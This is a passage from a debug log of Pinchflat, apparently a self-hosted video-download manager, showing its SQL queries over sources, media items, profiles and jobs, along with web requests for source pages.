s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:46:02.396 [debug] QUERY OK source="media_items" db=1.1ms idle=6.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 06:46:02.398 [debug] QUERY OK source="media_items" db=1.6ms idle=7.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:46:02.399 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:46:02.400 [debug] QUERY OK source="media_items" db=0.3ms idle=8.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [34] 06:46:02.401 [debug] QUERY OK source="media_items" db=0.9ms idle=6.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:46:02.403 [debug] QUERY OK source="sources" db=0.3ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:46:02.405 [debug] QUERY OK source="media_items" db=1.4ms idle=5.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [34] 06:46:02.407 [debug] QUERY OK source="media_items" db=1.6ms idle=6.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:46:02.411 [info] Sent 200 in 28ms 06:46:02.454 [info] GET /sources/34/ 06:46:02.454 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "34"} Pipelines: [:browser] 06:46:02.455 [debug] QUERY OK source="sources" db=0.4ms idle=55.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:46:02.456 [debug] QUERY OK source="media_profiles" db=0.4ms idle=54.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.457 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=53.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [34, "executing", "available", "scheduled", "retryable"] 06:46:02.458 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=52.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7278] 06:46:02.459 [debug] QUERY OK source="settings" db=0.2ms idle=51.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.459 [debug] QUERY OK source="settings" db=0.2ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.460 [debug] QUERY OK source="settings" db=0.2ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.464 [debug] QUERY OK source="sources" db=0.3ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:46:02.465 [debug] QUERY OK source="media_items" db=1.1ms idle=6.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 06:46:02.467 [debug] QUERY OK source="media_items" db=1.8ms idle=6.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:46:02.469 [debug] QUERY OK source="sources" db=0.4ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:46:02.469 [debug] QUERY OK source="media_items" db=0.3ms idle=8.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [34] 06:46:02.470 [debug] QUERY OK source="media_items" db=0.8ms idle=5.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:46:02.472 [debug] QUERY OK source="sources" db=0.2ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:46:02.474 [debug] QUERY OK source="media_items" db=1.0ms idle=5.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [34] 06:46:02.476 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=5.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:46:02.479 [info] Sent 200 in 24ms 06:46:02.507 [info] GET /sources/30/ 06:46:02.507 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 06:46:02.508 [info] GET /sources/34/edit 06:46:02.508 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "34"} Pipelines: [:browser] 06:46:02.508 [info] GET /sources/36 06:46:02.508 [info] GET /sources/36/edit 06:46:02.508 [info] GET /sources/30/ 06:46:02.509 [info] GET /sources/36/ 06:46:02.509 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "36"} Pipelines: [:browser] 06:46:02.509 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "36"} Pipelines: [:browser] 06:46:02.509 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "36"} Pipelines: [:browser] 06:46:02.509 [debug] QUERY OK source="sources" db=0.7ms queue=0.4ms idle=38.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:46:02.509 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 06:46:02.510 [info] GET /sources/36/ 06:46:02.510 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=38.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:46:02.511 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "36"} Pipelines: [:browser] 06:46:02.512 [debug] QUERY OK source="sources" db=2.7ms idle=33.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:46:02.514 [debug] QUERY OK source="sources" db=4.0ms queue=0.1ms idle=35.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:46:02.515 [debug] QUERY OK source="sources" db=5.3ms queue=0.2ms idle=37.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:46:02.516 [debug] QUERY OK source="sources" db=5.7ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:46:02.518 [debug] QUERY OK source="media_profiles" db=5.4ms queue=1.6ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:46:02.518 [debug] QUERY OK source="media_profiles" db=7.0ms queue=0.9ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.519 [debug] QUERY OK source="media_profiles" db=4.3ms queue=2.2ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.520 [debug] QUERY OK source="sources" db=6.1ms queue=2.6ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:46:02.521 [debug] QUERY OK source="media_profiles" db=5.1ms queue=1.5ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.522 [debug] QUERY OK source="settings" db=2.5ms queue=1.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.523 [debug] QUERY OK source="media_profiles" db=4.8ms queue=2.2ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.524 [debug] QUERY OK source="media_profiles" db=5.3ms queue=2.6ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:46:02.526 [debug] QUERY OK source="tasks" db=5.2ms queue=1.2ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 06:46:02.527 [debug] QUERY OK source="tasks" db=5.6ms queue=1.3ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" 